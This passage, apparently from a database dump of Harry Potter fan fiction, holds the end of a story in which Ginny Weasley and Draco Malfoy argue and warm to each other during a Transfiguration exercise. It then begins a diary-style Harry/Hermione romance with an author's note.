stopped herself as she felt herself get angry. She wouldn\'t say anything that he wouldn\'t reply to so she grabbed her butterfly and walked over to her desk. How dare he assume that he knew more than her at this. He hadn\'t charmed a thing yet.\n</p><p>\n</p><p>"You haven\'t charmed one object Malfoy, what gives you the right to judge my transfiguration?"\n</p><p>\n</p><p>He looked at her and raised an eyebrow as he drawled, "In the space of two hours, I have successfully levitated an object, changed a live animal a different colour, reassembled a collection of glass and successfully reanimated it. I think that puts me ahead of you."\n</p><p>\n</p><p>She ignored him as she pointed her wand at the butterfly again. "Paprano!"\n</p><p>\n</p><p>Draco began to laugh as the butterfly flew away and she squeaked in frustration. "Shut up, Malfoy!"\n</p><p>\n</p><p>"Where....where...did you learn that one...Weasley?" he took a deep breath to stop him from laughing as he looked at her un-amused face and stood up. "Did no one ever tell you that you can\'t charm creatures that fly the same way you charm walkers? They just end up flying away..."\n</p><p>\n</p><p>Ginny sat down, embarrassed. How could she not know that? "You mean..."\n</p><p>\n</p><p>Draco looked at her and sighed. "Well, where\'s your paperweight just now?"\n</p><p>\n</p><p>She pointed up and saw it floating around the ceiling and fought back the need to laugh. The poor thing was going crazy. "I think it\'s making a bid for freedom..."\n</p><p>\n</p><p>Draco looked up at it and sighed as he looked back towards her. "Okay, Weasley. Never let it be said that I\'ve done nothing for your family. Pick up your wand and bring it down."\n</p><p>\n</p><p>"What?" she looked at him as he pointed up to the ceiling. \n</p><p>\n</p><p>"Bring. The. Paperweight. Down. Here. Come on, if you have this much trouble with all the objects you will be here all night."\n</p><p>\n</p><p>She picked up her wand and summoned the floating object to her and looked at him expectantly. "There."\n</p><p>\n</p><p>He looked at her unimpressed. "Nice tone there, Weasley. Okay, now turn it back into a butterfly. Have you done that yet in sixth year?"\n</p><p>\n</p><p>She shook her head and he sighed as he indicated that she should pick up the wand. He sat down next to her and looked at her. "Okay, you will learn this next year and it...well, it\'s probably too much for you just now but, well you may as well try it...point your wand at the thing and say "renamatio!" Okay?"\n</p><p>\n</p><p>She nodded her head as she looked at him. "Renamatio? Is that even a word?"\n</p><p>\n</p><p>"Did I ask for any of your comments? No, I think not..."\n</p><p>\n</p><p>She sighed as she looked at the butterfly and pointed her wand at it and concentrated. She could do this. "Renamatio!"\n</p><p>\n</p><p>She looked and sighed as the paperweight still floated around. \n</p><p>\n</p><p>"Hmm, guess I was right. Too much for you. Weasley\'s really aren\'t up to this..."\n</p><p>\n</p><p>She picked up her wand and concentrated hard. Malfoy would not think she was unable to do this. "Renamatio!"\n</p><p>\n</p><p>She looked down and saw the paperweight had now disappeared and the butterfly was back. She turned back to Malfoy who had a slight smile tugging at his lips as he looked at her mildly impressed. "Well, well Weasley, you do have some Transfiguration talent after all...now the spell for turning it into a weighted object is \'Volveri Paprano\'...I\'m sure you can manage that."\n</p><p>\n</p><p>She pointed her wand at the object and grinned as it immediately turned into the paperweight. She turned to look at him to thank him but he had already walked over to his own desk to transfigure his own paperweight. As he finished he brought it over to hers and sat it down to compare. "Nice work, Weasley. Not as nice as mine, but well...as it is in life the Malfoy will always be better..."\n</p><p>\n</p><p>"Don\'t you wish that was the case, Malfoy?" she said as she grabbed her own paper weight and examined it.\n</p><p>\n</p><p>He appraised her and shook his head as he walked back over to his desk. "Wishing has nothing to do with it. Now, if you think you can manage a few simple spells without destroying the place I would like some peace and quiet."\n</p><p>\n</p><p>Ginny shook her head as she looked at him. Was it her who asked for help? Did she care about disturbing him? "No problem your lordship...wouldn\'t want to disturb your beauty sleep, maybe it\'ll shrink your tremendous ego problem..."\n</p><p>\n</p><p>"That\'s not peace and quiet Weasley, that\'s you showing your brothers annoying streak."\n</p><p>\n</p><p>"Excuse me for breathing," you self assured prat. \n</p><p>\n</p><p>						~ ~ ~ ~ ~\n</p><p>\n</p><p>They had remained in silence for a few more hours. Ginny looked at her watch. 2.13pm and she still had more than half her objects to transfigure. She turned and looked at Malfoy, who had now actually began working on his own box quietly. Something was still bothering about him, not bothering so much...more irritating her.\n</p><p>\n</p><p>"Malfoy? Why is it that you want to stay next year? Surely your father has plans for you already?"\n</p><p>\n</p><p>He looked up at her, surprised at the sound of her voice. "She speaks. Why is it any of your business?"\n</p><p>\n</p><p>Ginny sat her wand down and turned to look at him. "Because I was hoping we would be rid of you after you graduated."\n</p><p>\n</p><p>Draco shook his head as he gave her his best sneer. "Well, as they say...hard luck. I wish to become an animagus and as you know, that requires a stay with the tutor so that if any unfortunate side effects occur they can be combated. So I selected to stay here, and as soon as I get the agreement of McGonagall I can apply for my permit to study..."\n</p><p>\n</p><p>Ginny nodded her head as she looked at him. "I want to become an animagus at one point..."\n</p><p>\n</p><p>Draco laughed slightly as he looked at her. "You will have to improve on your transfiguration then..."\n</p><p>\n</p><p>Ginny shook her head. "You have had a year more than me to get it right, and McGonagall said you aren\'t as committed to this..."\n</p><p>\n</p><p>"I won\'t argue with that. I prefer potions...it\'s much more taxing...besides, I barely have to engage half my brain to pass this class..."\n</p><p>\n</p><p>"Plus Snape gives you an easy ride in potions on the back of Harry and Ron..."\n</p><p>\n</p><p>Draco looked at her and shook his head. "I am better than them. I put the work in. I listen to what is being said and I follow instructions. Gryffindors are made to be brave, apparently, but none too smart..."\n</p><p>\n</p><p>Ginny turned away from him, her anger rising. How dare this...this...snake insult her house? Her friends? "And what would a Slytherin know about being brave or smart? You have neither of those qualities combined with a belief in stabbing people in the back...you don\'t have a Gryffindor quality in your body."\n</p><p>\n</p><p>Draco nodded his head as she picked her wand up and began drumming it against the table angrily. "And don\'t I thank the stars every day that that\'s the case."\n</p><p>\n</p><p>She turned to him and shook her head. "Why on earth do you want to be an animagus? I mean, if you are so great then shouldn\'t you be happy as you are?"\n</p><p>\n</p><p>Draco smirked at her as he sat down a few seats closer to her, "I am, but being an animagus is a skill. And it\'s a skill only the best in the world have and I want to be the best. Besides," he looked away from her towards the front of the class, "haven\'t you ever wanted to be something different than you are? Even for a few minutes?"\n</p><p>\n</p><p>She nodded her head without answering as she looked at his contemplative face and sighed. She knew how that felt. How much it would be good to be something other than what she was. Ginny, Ron\'s sister. Or Ginny, the girl who keeps looking at Harry Potter in the Great Hall, or Ginny Weasley, the girl who freed Tom Riddle...\n</p><p>\n</p><p>She looked at Draco and wondered what he didn\'t want to be: Malfoy, the Death Eater in training? Malfoy, the Slytherin? Malfoy, Lucius\' son? "I know that feeling...i guess that\'s one of the main reasons I want to be one. Be something that none of my brothers have done first and better...of course, Percy probably already has his permit and just hasn\'t told anyone..."\n</p><p>\n</p><p>"Yes, well...I don\'t have any shadows to get out of. Apart from my fathers, and I am already a better wizard than he ever will be..." he looked towards her for a second and shook his head. "You should never settle for average Weasley, you should try and make the best of what you have and use it to your advantage. Even if what you have and what I have is vastly different."\n</p><p>\n</p><p>As he finished speaking he stood up and walked back over to his desk in an attempt to tell her the conversation was over. She looked at him quizzically. She had actually just spoken to Draco Malfoy and found more to him than the evil contemptuous git that was usually there. That was...surprising.\n</p><p>\n</p><p>						~ ~ ~ ~ ~\n</p><p>\n</p><p>She looked at the dwindling items in the box and allowed herself to smile. Only three more to do and she could leave. She glanced over to Draco who appeared to be engulfed in the same contemplative silence he had been in for the past three hours, only on occasion muttering a spell. She turned away and stifled a yawn. If only she had to do this with an actual person as opposed to him, it might have been semi fun then. If Hermione hadn\'t blown her off...\n</p><p>\n</p><p>"Weasley? Since you were permitted to ask one question, I think it\'s only fair that I am permitted to return the compliment."\n</p><p>\n</p><p>She looked up to see him looking at her expectantly. How could he suddenly fix his attentions so suddenly? He wanted to ask her a question? What would the catch be? No doubt this would be about how her father could afford seven children or something. "Excuse me?"\n</p><p>\n</p><p>"You asked why I wanted to be an animagus. I feel it\'s only appropriate I get to ask you one," he looked at her intently before turning back to the box he had. "Why, when you are so far ahead of your year in transfiguration do you feel the need to waste your Hogsmeade weekend here?"\n</p><p>\n</p><p>She looked at him and shrugged her shoulders. Why had she? It would have looked good on her record? No, that wasn\'t why she did it. Because she didn\'t want to traipse down to Hogsmeade again? Nope, definitely not...she would give anything for a warm butter beer right about now. Harry? Things had been good between them recently...they were even talking, having real conversations for once. Why was she here?\n</p><p>\n</p><p>"It\'s not a trick question, Weasley you know. An answer anytime today would be good."\n</p><p>\n</p><p>She turned to him and shook her head. "I was asked. I didn\'t want to let anyone down...especially since Hermione and Harry called off..." she looked as he nodded his head with a smug smile on his face. "Why\'s it any of your business anyway?"\n</p><p>\n</p><p>Malfoy looked at her and shook his head as he picked up his wand. "It\'s not. But I wanted to know."\n</p><p>\n</p><p>She turned away angrily. Why was she letting him agitate her? "And what Lord Malfoy wants he gets?"\n</p><p>\n</p><p>He looked at her and smirked. "Why Weasley, I think we touched on a raw nerve. Are you frustrated because you stayed here while your little friends all went elsewhere without you?"\n</p><p>\n</p><p>She sat down and lifted her wand angrily. She was not upset. "Drop dead, Malfoy."\n</p><p>\n</p><p>He walked over to her and sat at the desk opposite her and leaned down to look at her face. "You want to know what I think, Weasley? I think that you resent being the quiet one...I think you resent being the reliable one, the one people expect the average from and nothing spectacular. Am I right? You resent being Ron, Fred and George Weasley\'s little sister...you wish people saw more to you than that."\n</p><p>\n</p><p>She stood up and walked to the door. "You know nothing about me, Malfoy."\n</p><p>\n</p><p>He looked at her with a sneer. "No, Weasley? I know that you bite your lip when you can\'t do something. I know that you don\'t know how to change the colour of an object at distance, I know that you are frustrated as hell that you are sitting here when your so called friends didn\'t bother and I know how to push the right buttons."\n</p><p>\n</p><p>She turned to him as he shook his head and walked over to his desk confidently. "The magical aspects have to be expected of course considering the stock you are from...but personality wise, you are a nothing. In comparison to your brothers you don\'t even register enough to warrant the attention...and that\'s what is frustrating you. You can be a good student but you will always be their sister first and foremost, they will never be referred to as your brother. And the truly pathetic thing is that I can tell all that from a few hours with you and they wouldn\'t be able to tell you it after years..."\n</p><p>\n</p><p>She bit her lip and felt her lip start to tremble. She would not let him make her cry. "You...you know nothing about me! None of that is true. I...I don\'t feel inferior to anyone. And...and I\'m not a nothing!"\n</p><p>\n</p><p>Draco looked at her and narrowed his eyes in concentration as he studied her face. "If that\'s the case, don\'t you think you should stop acting like one?"\n</p><p>\n</p><p>She took a deep breath and turned away from him and took a few steps outside the classroom. She couldn\'t stay with him any longer...but, she couldn\'t give him the satisfaction of letting him get to her. She took a deep breath and closed her eyes. She only had to ignore him. She turned and walked back into the class and didn\'t look towards him. "I don\'t act like a nothing, Malfoy. Just because I don\'t throw my weight around like you and your bully friends, it doesn\'t make me nothing."\n</p><p>\n</p><p>He didn\'t look at her as he responded. "If you like to believe that, but I ask you. If you weren\'t a Weasley offspring, and your brother wasn\'t best friends with Potter how much attention would you really get? Granger gets it because she\'s considered a smart little know it all, Potter gets it because he is the famous Harry Potter...you are the famous Harry Potters best friends little sister to the eyes of most people. Wouldn\'t you rather be known as something more?"\n</p><p>\n</p><p>She through her object she was working on angrily to the front of the classroom as she turned to him angrily. "What? Draco Malfoy, Death Eater? Draco Malfoy, Muggle hater? Draco Malfoy, son of Lucius? How many families have your family destroyed because they were considered \'nothings\'? If I had a choice between being me and being you, with your family I would rather die than be anything like you."\n</p><p>\n</p><p>Draco looked at her and shook his head with a bitter laugh. "That\'s easy for you to say, Weasley. But, you have no idea what it\'s really like to be me. Your opinion may be vastly different if you had to experience it."\n</p><p>\n</p><p>She felt her anger subside slightly as she looked at him as he poked around in the box with his wand, almost contemplatively. "I doubt it. I don\'t see how a person can be happy if they hate everyone who is different from them..."\n</p><p>\n</p><p>He looked up at her and shook his head. "Did anyone mention being happy? You have to be the best, if not at everything you have to be the best at something, and if that means you have to forfeit certain things so be it."\n</p><p>\n</p><p>"Certain things like humanity? Because I don\'t find that expendable."\n</p><p>\n</p><p>Draco looked at her and shook his head. "That\'s why you are a Weasley and I am a Malfoy. I find everything expendable."\n</p><p>\n</p><p>She looked at him intently as he looked bitterly for a split second before turning away from her. "You might want to pick up that goblet, Weasley...I don\'t think you get points for a dented fountain."\n</p><p>\n</p><p>She shook her head as she got her goblet and tried to concentrate but found it impossible. "Don\'t you want to be happy, Malfoy?"\n</p><p>\n</p><p>He sat up abruptly and looked at her. "I am happy, Weasley."\n</p><p>\n</p><p>"You don\'t seem it. You never smile unless it\'s at someone else\'s expense. You never laugh unless it\'s at someone\'s expense. Do you even have fun playing Quidditch or is that just another thing for you to try and be the best at?"\n</p><p>\n</p><p>He picked up his wand, walked over to her and sat down and spoke softly close to her ear. "Don\'t try and get inside my head, Ginny Weasley. You would be surprised at what you would find. I\'m not this poor little boy underneath this exterior who needs saved. I know what I want in life and how to get it and if that means giving up certain...luxuries that you value then so be it."\n</p><p>\n</p><p>She didn\'t flinch at his intense gaze as she took a deep breath. It was hard to be scared of him now... "I never believed you needed saved. You seem to like being the boy that everyone hates..."\n</p><p>\n</p><p>She regretted the words as soon as they came out her mouth but he merely smiled slightly as he turned away from her. "Then that makes me the perfect foil to the boy that everyone loves...not that I would want to be in his shoes. Dumb luck can only carry you so far in life."\n</p><p>\n</p><p>"And believing you are superior to every one will only get you so far. Especially after the war...unless you already have your side chosen and will be spending your years after the war languishing in Azkaban?"\n</p><p>\n</p><p>He turned and narrowed his eyes. "I will be on the side I\'ve always been on. The winning side. You already have such a high opinion of me don\'t you?"\n</p><p>\n</p><p>"You are Lucius Malfoy\'s son, you have said at every opportunity that you will  be a Death Eater as soon as possible, you have said that Muggles and those of Muggle parents should be killed. That is what forms this high opinion."\n</p><p>\n</p><p>He laughed as he stood up and walked to the front of the class. "Guilty as charged. Of course, if I was already as bad as you think, do you not think to make my name in the Dark Lord\'s circle I would have killed Potter already, or at least tried to?" he looked at her and smirked. "There is definitely something wrong somewhere with your theory, Weasley - you either assume I am a coward, which I\'m not. That I\'m stupid, which I\'m not, or that I am already a Death Eater who is biding their time."\n</p><p>\n</p><p>"Are you?"\n</p><p>\n</p><p>He looked at her and began to laugh as he pulled the sleeve of his robes up to reveal his forearm which was bare. No tattoo. "Not yet." \n</p><p>\n</p><p>He shook his head as he walked back to his seat as she watched him. "Sorry. I didn\'t mean to...assume, I just...I figured you...would be one..."\n</p><p>\n</p><p>He looked up at her surprised and shook his head. "Why are you apologising? There are worse things to say...personally I thought the boy everyone hates comment was worse...besides, you are probably right...I will be one eventually."\n</p><p>\n</p><p>She looked at him sadly. "You could say no, you know. Prove you\'re not a coward."\n</p><p>\n</p><p>"I don\'t need to prove myself to anyone. And I could say no...but I might not want to. You keep your happy half life, Ginny. But at one point in the future you are going to have to realise that things aren\'t always as simple as black and white, good and bad, Weasley and Malfoy. There is a whole world around us and the only people who are entitled to live in it are people who are willing to stake a claim on it. I will do that, by whatever means necessary."\n</p><p>\n</p><p>"And You Know Who is the person to help you? That is sickening," she shook her head as she picked up her wand and charmed the goblet in front of her. \n</p><p>\n</p><p>"What\'s sickening is the people who pretend to be happy when they are miserable," he said as he picked up his wand and charmed his own goblet and smirked at her with an \'anything you can do, I can do better expression\'. She saw this and glared at him as she picked another item out of her box and looked at it aggressively. \n</p><p>\n</p><p>"The future Death Eater decides he has the right to talk about being happy? I think not!" She charmed the book into a bookend and looked at him angrily. "I think that you\'re miserable, I think that you have never been genuinely happy in your life. I think you despise Lucius as much as the world does but you want to prove to him that you are as good a wizard and as successful as he is. I think you\'re jealous of Harry because he has everything you want. I think that you like to think that you are this evil mastermind that is one step ahead of everyone else but despite this I think that you will make a bloody pathetic Death Eater!!!"\n</p><p>\n</p><p>She exhaled sharply as she looked at him expectantly. She had no idea where that had come from. Why should she care if he ruined his life? He was a stupid xenophobe after all. \n</p><p>\n</p><p>"You think a lot don\'t you, Weasley? But thank you for the vote of confidence...of course the day I take career advice from a Weasley is the day I will drive my broomstick into the whomping willow."\n</p><p>\n</p><p>She shook her head in disgust. He was impossible. He was irritating, loud, snobbish, egotistical, stubborn, evil...she looked at him again as he charmed another object. He was so infuriating! There was so much more to him than that evil stuff... To hell with him she decided. He could go to the whomping willow if he wanted to and get smashed into a million pieces. She wouldn\'t give a damn.\n</p><p>\n</p><p>						~ ~ ~ ~ ~\n</p><p>\n</p><p>She had charmed her final object and had began writing up her parchment in silence. The quicker she got out of here the better. Neither of them had opened their mouth since their argument and the tension was palatable. She glanced over at him as he sat examining one of his transfigured objects. God she hated him.\n</p><p>\n</p><p>"You know something, Weasley? When I think about our earlier discussion...I think you spend too much time worrying about what other people are going to do with their futures. What are you going to do with yours?"\n</p><p>\n</p><p>She put her quill down and looked at him. Did he not realise that she wasn\'t talking to him?\n</p><p>\n</p><p>"Weasley? Why are you attempting to ignore me? Have you not made any plans? Do you not know what you want to do with your life?"\n</p><p>\n</p><p>"I don\'t know...maybe try and get into medi-wizarding. Either that or Muggle relations...that might be interesting. Not for you of course, but you know...for people who don\'t plan on indulging in massacres..."\n</p><p>\n</p><p>"I choose to ignore your tone Weasley, as you clearly haven\'t been taught better on how to respect your betters," he shook his head as he continued to concentrate on the object he was holding. "I believe that they are always looking for good medi-wizards and it is extremely well paid..."\n</p><p>\n</p><p>Ginny shook her head and sighed. "You don\'t do a job like that for the pay. Besides, if there is a war then I doubt they will be getting paid that much. And one thing Malfoy, don\'t dare think you are my \'better\', you aren\'t better than anyone here."\n</p><p>\n</p><p>"My, aren\'t we aggressive, Weasley? But you\'re right. I shouldn\'t flaunt my superiority over you. It\'s not very dignified."\n</p><p>\n</p><p>She bit her lip and drummed her wand angrily as she looked at him. Was he actually smiling? And not even the contemptuous smile that usually adorned his face. This one was definitely different...almost teasing, his pale grey eyes were focused on her and he looked...different. Better. Less Malfoy like. "You are trying to get a reaction from me now aren\'t you?"\n</p><p>\n</p><p>He looked at her and tried to unsuccessfully force the smile from his face as he shook his head. "Why would I want a reaction from a Weasley?"\n</p><p>\n</p><p>She couldn\'t stop a small laugh escaping as she shook her head and walked over towards him. "Because you are a frustrating git who wants to be the centre of attention..."\n</p><p>\n</p><p>He sighed as he looked at her as she sat next to him. "I don\'t recall inviting you over here, Weasley..."\n</p><p>\n</p><p>"Free classroom," she said as she looked at him. "Tell me something, Malfoy. Could you really hold your wand up and kill innocent people in Voldermort\'s name?"\n</p><p>\n</p><p>He looked at her for a second and picked his wand up and pointed it at her. He looked at her coldly, his blue eyes showing no emotion and suddenly she felt shivers down her spine. He looked so cold...like he could do anything. She took a deep breath and refused to flinch from his penetrating stare. "You want to know how far my conscience runs? Would I be able to look a person in the eyes and kill them, or torture them? People I knew? People I went to school with? People who have done nothing but stand up for what they believe in? You think I couldn\'t kill them?"\n</p><p>\n</p><p>She looked at him and shrugged her shoulders. She wanted to believe that he couldn\'t, that no one could. "I...I don\'t know. Could you?"\n</p><p>\n</p><p>He took a deep breath and turned his wand away from her as his expression softened slightly. "I have no idea. Possibly, in the future it would be easier..."\n</p><p>\n</p><p>She closed her eyes for a second as she looked at him. That should have been enough, so far she had learned that he would be a Death Eater and he could kill them all if he had to. She should have hated him more than she did already, but somehow...somehow she couldn\'t. "Why would you want to? You aren\'t that evil..."\n</p><p>\n</p><p>He shrugged his shoulders at her and shook his head. "We already had a conversation like this. Wants don\'t always come into it..."\n</p><p>\n</p><p>"That should be all that comes into it."\n</p><p>\n</p><p>He looked at her and smiled slightly as he picked up his parchment. "Only if you\'re not a Malfoy."\n</p><p>\n</p><p>She shook her head as she stood up and watched him walk to the front of the class. "You could do a lot better than that you know..."\n</p><p>\n</p><p>He stopped and looked at her and smiled again, another real smile only this one was much more fleeting. "I\'m glad you think so. But that\'s the best a wizard can be..."\n</p><p>\n</p><p>She walked over to him and stood as he leaned against the desk. "No, it\'s not. At least consider it."\n</p><p>\n</p><p>He looked at her and shook his head as he gave a slight laugh. "I thought I told you what I would have to do if I took career advise from a Weasley? But, if it will shut you up, then yes...yes I\'ll consider it. Happy?"\n</p><p>\n</p><p>She looked at him and smiled as she nodded her head. "Not happy, but it\'s something."\n</p><p>\n</p><p>She walked back to her desk and looked at her parchment as he kept his gaze on her. "You know, you do have something your brothers don\'t have after all. You, I can tolerate...whereas I would happily wipe them off the face of the earth. Hmm..." he looked at her with a contemplative expression. "I have no idea why..."\n</p><p>\n</p><p>"I have no idea how to take that. As an insult on my family or a compliment to me," she looked at him unimpressed as he walked to the door.\n</p><p>\n</p><p>"Take it as it was intended, an insult to your family and a compliment to you. It just proves that I don\'t consider you a nothing anymore Weasley...now you just have to get to work on convincing the rest of the school. Enjoy the rest of your weekend Weasley..."\n</p><p>\n</p><p>She opened her mouth to respond but he had already disappeared out the door and back to wherever it was Slytherins went. She looked around and shook her head. She had never had a weirder day in her life. And Malfoy had complimented her? She picked up her parchment and felt herself smile as she looked around the empty room and shook her head as she walked to the front of the class and out her parchment down on top of Draco\'s, his words still echoing in her ears. He certainly didn\'t have to say that to her at the end...maybe she had made an impression on him.\n</p><p>\n</p><p>"Ginny! Finally, you finished?" She turned around to see Colin Creevy standing outside the door, his arms laden with bags from Hogsmeade. She allowed herself to smile as she walked over to him. \n</p><p>\n</p><p>"Yup, just finished..."\n</p><p>\n</p><p>He looked at her and whispered slightly. "Was Draco Malfoy here? I saw him walking down the corridor...he looked like he had been up to no good."\n</p><p>\n</p><p>She smiled as she walked over to her desk and collected her things. "Yeah, he was here...and yes, he was up to no good...but don\'t worry. I can handle Malfoy..."\n</p><p>\n</p><p>Colin walked in and grabbed some of her books and looked at her disbelivingly. "If you say so. I\'m not sure your brother will agree."\n</p><p>\n</p><p>She sighed as she walked out the room and looked at him. Draco was right, even Colin couldn\'t think of her without thinking of Ron as well. "You know what Colin? I don\'t care what he thinks...I can look out for myself and I intend to do that." \n</p><p>\n</p><p>She looked expectantly at Colin, who merely looked at her and shrugged his shoulders nonchalantly and walked ahead of her. "Whatever you want...come on, Hannah said she wanted to show you the new something or other she got..."\n</p><p>\n</p><p>She watched him and ran after him happily. It had been that easy and it had worked, it just proved that Draco Malfoy was actually good for something after all...\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>\n</p><p>.....\n\n\n\n'),
	(145, 1, '\n\n\n\n<p class="MsoBodyText"><b>A/N:\nHi guys! How was Eid for all you Muslims out there? I had the best time! In\nMalaysia, we call it Hari Raya. This is an entry in my diary but of course I\nchanged a lot so, if you want to ridicule me about the plot , just remember\nthat it\'s my life.<br>\n<br>\nDisclaimer : I own nothing!. The characters of Harry Potter is owned by JK\nRowling and the song &quot;miss you&quot; is owned by Aaliyah , god bless her\nsoul.<br>\n<br>\nSummary : &quot;We weren\'t meant to be&quot; It\'s gladdening how that person\nwho your \'not meant to be\' with is still on your mind. As Hermione embarks on\nher journey towards true love, she finds it but what if he considered it not\nmeant to be, follow her as she tries to fade her own love for him, will she\nsucceed?<br>\n<br>\nRating : Pg<br>\n<br>\nSpoilers : Harry Potter and The Chamber Of Secrets , Harry Potter and The\nPhilosophers Stone, Harry Potter and The Prisoner Of Azkaban , Harry Potter and\nthe Goblet Of Fire<br>\n<br>\nI have been ridiculed for liking Hermione and Harry today, so I would like to\ndefine what this relationship means to me:<br style="mso-special-character:\nline-break">\n<br style="mso-special-character:line-break">\n</b></p>\n\n<p class="MsoBodyText" style="text-align:center" align="center"><b>Just another Jaded Teenager</b></p>\n\n<p class="MsoBodyText" style="text-align:center" align="center"><b>By</b></p>\n\n<p class="MsoBodyText" style="text-align:center" align="center"><b>Nurhani. </b></p>\n\n<p class="MsoBodyText"><br>\nI believe in fidelity, I believe that ever soul has another , this isn\'t\nirrefragable , this isn\'t based on facts but I will and want to believe it is\ntrue. I have heard this from my Islamic teacher, an ustazah that love is only\nonce in a life time and that you will meet that person someway or somehow , a\nperson who will make an impact on you, not your first love but your true love ,\nyour &quot;jodoh&quot; , as we say in Malay. I know as I maunder this , dear\nreader that you will consent me as a hopeless romantic, someone who has her\nhead in the sky , a person living in a so called fairy tale but I believe that\nthere is a person meant to be for you , reader and there is a soul mate for me\ntoo. I assure you , dear reader that I am not frangible on this subject.<br>\n<br>\nFor I know you, reader is currently wondering what connection the past\nparagraph has to Harry and Hermione. Harry is obviously in a state of\nprivation, he needs someone and I believe that person is Hermione. In the\nfourth book, Hermione was the only one who believed him , her feelings for him\ndidn\'t even cajole, so, what I am trying to say is that their souls are linked\nin some way that she will always be there for him and he will always be there\nfor her. What about Ron? Seriously, Ron is kind hearted no doubt, but he is\nalso an obnoxious pig! I mean really Hermione wont fall for someone like this.\nI want what Hermione and Harry have , they just seem like soul mates and I hope\nthey are. What I would like to say now is that I\'m sorry if I was a bit\nemotional on this subject , I know this seems a bit quixotic but I want it to\nbe like this and I believe it will.<br>\n<br>\n***</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;The only amount of spasm that I have felt , reader is when he\'s\nnot by me, loving me and caring for me. For it is a fact reader, I am in love\nwith him for who he has built himself to be and the amount of benevolence that\nis rested in him . I am not a fan but I am a friend, and that is what I am\ncondemned to be for the rest of my imprudent life. I believed for four days and\nthree nights that he loved me too , I was wrong. I still remember reader , when\nhe instilled those painful words upon my ears. Those words that have been the\ncause of my depression, the walls of my asylum , my grave. -<br>\n<br>\n&quot;We weren\'t meant to be&quot;<br>\n<br>\nIt\'s gladdening how that person who your \'not meant to be\' with is still on\nyour mind . Orally ,  I admitted that we\nweren\'t but there was something , something throbbing in my heart that we were.\nThere is a statement in the Quran and the Bible that a rib from a man was taken\nfor a woman. If this is true, mine is from Harry\'s. If you, reader have not\nexperienced true love, you have not felt what I have felt for him. For those\nfour nights and three days we were together, I felt my life was complete,\nnothing in the world could annul our love. Again reader, I was fallacious, but\nwhen he beheld me , I could faintly feel the exalt that he owned. It\'s obvious\nthat I was being the impolitic person that I am, for when he told me those five\nmalicious words, his eyes were gleaming in certainty, his firm grip on my\ntrembling hands , it was all too real to be not.<br>\n<br>\n*** September 1st<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It\'s the day I return to\nHogwarts, the day I am bestowed the honor of being head girl , the day I get to\nreunite with my sunny and buoyant girlfriends, whoopee [sagaciously] !. As my\nstare wanders outside the car window, I gazed at the tall buildings that\ntowered over me . Unexpectedly, my thoughts lingered to him, it\'s uncanny how\nevery single positive revolution insists on me to reminisce about him.<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As the car abruptly stopped ,\nI studied my face on the side mirror, with another coruscate outside the window\n, I looked at the kids bidding farewell to their loved ones. I sighed , they\nhave nothing but a brief elucidation of what love is. I stepped out of my four\nwheel drive , looking down at my wrinkled robs , I persevered to iron them with\nmy bare hands .Walking off with barely even a goodbye to my parents, I could\ndispute my mother shaking her head at my isolation.<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati and Lavender soon\nimpinged my amble towards platform 9 &#190;. Their prattle was agonizing , I was\ndefinitely reluctant to join, but I had to, to remain friends with them I had\nto entertain them. On the train, I traveled from carriage to carriage looking\nfor where Ron and Harry were seated.<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As my head probed in one of\nthe carriages I noticed that this was where I met them , that red headed boy\nwith dirt on his face and Harry. I was running that day, running for a frog , a\nfrog that I presumed would gain me an acquaintance. I was about to run ahead\nuntil a ruffled hair boy caught my eye. Hesitantly, I looked at him and those\nasinine words escaped my mouth &quot;have u seen a frog&quot;(A/N: I know these\nreally aren\'t the words but let\'s do with it).<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I laughed at the memoir, what\na foolish preteen I was! Now, I\'m an absurd teenager, how huge a change. A warm\nhand was placed on my hip, I knew who it belonged to. As I whirled to face him\n, a small smile crept on his rosy lips . He inched nearer to me, his bosom on\nmine and his face far too near mine. Provocative thoughts ran through my head\nas his thermal breaths cascaded over my lips.<br>\n<br>\n&quot;Harry&quot; I exhaled, his eyes shot open and his orifice connected with\nmy colored cheek. I mentally kicked myself as I muttered his name. I looked\nover at Ron who asked :<br>\n<br>\n&quot;Let\'s use this carriage&quot;<br>\n<br>\n&quot;Sure&quot; we replied in unison.<br>\n<br>\n***<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I watched Harry\'s closed eyes\nas he was in deep slumber. I remembered when he first asked me on our first\nrendezvous. It was late at night, I heard a strange sound coming from the\ncommon room. I walked down and saw him , reading with contemporary music\nfilling the milieu. A devious plan filled my head as I approached him, I was\nabout to seize him until he annexed my hands gently. He stood up and pulled me\ncloser while requesting dance , I accepted bewildered. I still remember the\nlyrics to the song &quot;Is your heart still mine? I wanna cry sometimes&quot;,\nit harmonized the atmosphere, he was now clutching onto me as if not wanting to\nlet go. Then he whispered in my ear &quot;Will you go out with me, Hemione\nGranger&quot; , I was only competent to riposte a simple word &quot;yes&quot;.<br>\n<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My eyes still on his closed\nones , his ruffled hair falling on his temples , I leaned in to whisk them away\nbut as my faint touch laid on his porcelain skin , his green eyes shot open. At\nthat moment, as we stared into each other\'s eyes , I knew for a fact that I\ncouldn\'t transgress my venerate for him but he had mine. I gratified at that\nmoment, I am just another jaded teenager.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" 